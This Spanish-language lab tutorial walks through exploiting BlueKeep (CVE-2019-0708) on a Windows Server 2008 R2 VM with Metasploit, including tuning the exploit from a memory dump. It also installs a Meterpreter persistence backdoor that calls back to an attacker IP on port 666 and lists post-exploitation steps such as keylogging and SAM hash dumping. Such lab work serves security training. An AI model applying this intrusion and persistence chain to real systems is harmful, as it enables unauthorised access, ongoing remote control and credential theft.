Este documento muestra cómo realizar una explotación de la vulnerabilidad CVE-2019-0708 llamado comúnmente BlueKeep, que afecta a sistemas Windows con el servicio de Escritorio Remoto activado. Esta vulnerabilidad permite ejecutar código remoto sin necesidad de autenticarse enviando peticiones especialmente construidas. Una vez explotado este fallo, el usuario acceder a la máquina con privilegios NT Authority/System.
Basándonos en el modelo desarrollado por Lockheed Martin para la identificación y prevención de ciber ataques llamado The Kill Chain, llevaremos a cabo la intrusión en un sistema Windows a través de la vulnerabilidad CVE-2019-0708, también conocida como BlueKeep, usando el framework Metasploit.
El 14 de Mayo de 2019, Microsoft lanzó varios KBs para solucionar esta vulnerabilidad en equipos Windows 7 SP1, Windows 2008 R2 SP1 y SP2 y Windows Vista respectivamente (KB4499175 y KB4499180).
Tras identificar el objetivo, se llevará a cabo la preparación de weaponization para explotar la vulnerabilidad usando Metasploit.
Posteriormente realizaremos la intrusión a través de BlueKeep. En esta fase, debido a un posible fallo que puede ocurrir en la ejecución del payload, se explicará cómo resolverlo a través del acceso a la memoria de la máquina atacada usando herramientas de análisis forense.
Una vez se ha accedido al sistema con éxito se instalará una puerta trasera para generar persistencia y crear un sistema de control (C2).
Después de llevar a cabo la fase de persistencia, finalmente se darán herramientas con las que realizar las Actions On Objectives, es decir, posibles tools o comandos para, en este caso, la extracción de información de la máquina afectada.
Laboratorio
Para realizar la prueba, será necesario instalar:
- Máquina virtual con Kali Linux y metasploit actualizado al menos a la versión 5.0.53.
- Máquina virtual con una versión de Windows vulnerable, en este caso Server 2008 R2.
Explotación
Una vez iniciamos la instalación del Servidor Windows, habilitamos el servicio de Escritorio Remoto.
Tras instalar la máquina Windows, para comprobar si es vulnerable a BlueKeep buscamos los parches de seguridad instalados usando el comando systeminfo en un CMD.
Se observa que no tiene instalados los KB (KB4499164 y KB4499175) correspondientes para el arreglo de la vulnerabilidad.
Accedemos al módulo de Metasploit windows/rdp/cve_2019_0708_bluekeep_rce.
Configuramos el exploit añadiendo la IP de la máquina atacada y el target número 5, el cual se refiere al Server 2018 R2 bajo VMWare 15.1 que es la máquina que se está usando para esta prueba. Como payload un meterpreter TCP.
No obstante, para más datos sobre el funcionamiento del exploit se puede acceder a su info.
Se puede observar, que en la descripción del exploit se indica que si el sistema operativo es Server 2018 R2, es necesario cambiar el valor en el registro HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam de 1 a 0. Esto es debido a que la configuración por defecto no lo tiene así asignado.
Después de configurar el registro en la máquina de Windows, se puede realizar una chequeo en Metasploit para comprobar si el sistema atacado es vulnerable.
Tras una respuesta afirmativa, procedemos a lanzar el exploit.
De esta forma, el payload es ejecutado con éxito, dando el control de la máquina con privilegios de System. Sin embargo, esta forma de lanzar el exploit no sería la correcta, ya que puede generar un reinicio del servidor Windows debido a un fallo en la paginación de la memoria.
Se observa que no es posible completar la tarea debido a que el servidor Windows genera un fallo en la gestión de la memoria, lo que obliga al sistema a reiniciarse.
Para evitar esto, es necesario modificar el valor GROOMBASE del script para que indique al valor correcto NPP (Non Paged Pol Area) del Servidor Windows. Este fallo se debe a que el puntero que inicia en el NPP se encuentra en un lugar diferente al dado por defecto en el GROOMBASE. Para solucionar este problema basta con extraer el puntero NPP de la máquina virtual y cambiarlo por el que se encuentra en el script. Será necesario un volcado de la memoria usando el programa Rekall.
La forma de extraer la posición de memoria en este caso, será con la heramienta vmss2core.exe que viene en la instalación de VMware Workstation Pro. Primeramente se crea una instantánea de la máquina a extraer, en este caso el Windows Server.
Una vez creada la instantánea, se suspende la máquina (esto es necesario). En el directorio donde se encuentra almacenada la máquina virtual aparecerán tres ficheros:
- Windows Server 2008 R2 x64-Snapshot3.vmem
- Windows Server 2008 R2 x64-Snapshot3.vmsn
- Windows Server 2008 R2 x64-5f78738c.vmss
Estos son los ficheros necesarios para generar el memorydump. A continuación se ejecuta el programa vmss2core.exe con los tres ficheros. Es importante que la dll zlib.dll se encuentre en el directorio donde está la herramienta vmss2core. Por defecto, este programa se encuentra en C:\Program Files (x86)\VMware\VMware Workstation.
Tras la operación se creará un fichero con el nombre de memory.dmp en el directorio donde se encuentran los tres archivos vmw.
Ahora será necesario extraer la información contenida en él y se hará en este caso con la herramienta forense rekall. Esto será realizado en la máquina kali con un contenedor docker.
Se envía una copia del fichero memory a la máquina virtual kali para poder trabajar con él. Si no se tiene instalado el programa docker se hace:
apt install docker.io
Tras instalarse, se levanta una instancia de rekall:
docker pull remnux/rekall
Después se inicia el servicio indicando la ruta donde se encontrará el fichero memory
docker run --rm -it -v /root:/home/nonroot/ remnux/rekall bash
Se ejecuta el comando:
$ rekall -f memory.dmp pools
Se copia esa dirección y se modifica en el fichero del módulo del exploit, ubicado, en este caso en la ruta /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb.
Se busca la versión de la máquina que estemos usando, que en este caso el VMWare 15.1. Es importante fijarse que rekall sólo devolvió el dato con una sóla “f”, por lo que es necesario añadir las que faltan. Por seguridad, es recomendable no borrar la línea original sino comentarla y poner la cambiada debajo. Se puede observar el parámetro GROOMSIZE modificado a 50, pero esto sólo sería necesario cambiarlo si la memoria de la máquina virtual no funciona correctamente al cargar el exploit (por defecto es de 250mb). Como se puede observar, en este caso el puntero no es diferente del que estaba por defecto.
Después de llevar a cabo el cambio, se reinicia Metasploit y se vuelve a cargar la configuración, tras lo cual ejecutamos el exploit.
Persistencia
Una vez dentro del sistema con los privilegios de AUTHORITY\SYSTEM será posible realizar distintas operaciones que nos permitan extraer información de la máquina atacada para poder ir recopilando todos los datos posibles. Sin embargo se corre el riesgo de que si dicho exploit es parcheado, ya no sería posible volver a acceder al sistema vulnerado. Debido a esto es necesario crear una persistencia en el sistema para poder acceder a él de forma continua.
En este caso se usará una puerta trasera del mismo meterpreter llamada persistence.
Una vez se ha conseguido el acceso al sistema a través de la explotación anteriormente explicada, crearemos el ejecutable para la puerta trasera (backdoor).
Al lanzar el comando con la opción -h aparecerán las opciones disponibles. En este caso, el comando será el siguientes:
run -A -X -i 10 -p 666 -r 192.168.78.147
Con este comando, se crea un payload que arranca al inicio del sistema y se conecta a la IP remota dada y al puerto 666, con un intervalo de conexiones cada 10 segundos.
Tras lanzar el comando se puede observar el fichero VBasic creado en el directorio \Temp, que es el dado por defecto, pero con la opción -L ese posible cambiar la ubicación. En este caso, al estar en el directorio C:\Windows\Temp, el payload se ejecutará siempre independientemente del usuario que inicie sesión.
A los segundos, se crea una sesión automáticamente con el meterpreter configurado para acceder al sistema comprometido.
Volviendo al msf se pueden observar las sesiones creadas.
De esta forma se ha conseguido una persistencia en el sistema vulnerado, de tal forma que ahora es posible acceder al mismo en el caso de que la vulnerabilidad de BlueKeep sea arreglada.
Acciones en el objetivo
Una vez se ha conseguido la explotación y la persistencia en el sistema, se llevará a cabo las acciones de extracción de información o las acciones que sean necesarias. En este caso, se podría conseguir las pulsaciones de teclado del usuario o la visualización de la pantalla de su escritorio o los hashs de los usuarios del sistema si hemos conectado con un usuario Administrador.
Para más información de las posibilidades de Meterpreter, visualizar las opciones del mismo con el comando help.
Incluso extraer los hashes del Sam con los usuarios y sus contraseñas o conocer la tabla arp donde aparecerán ls IPs de la red con las que la máquina tiene conexiones.
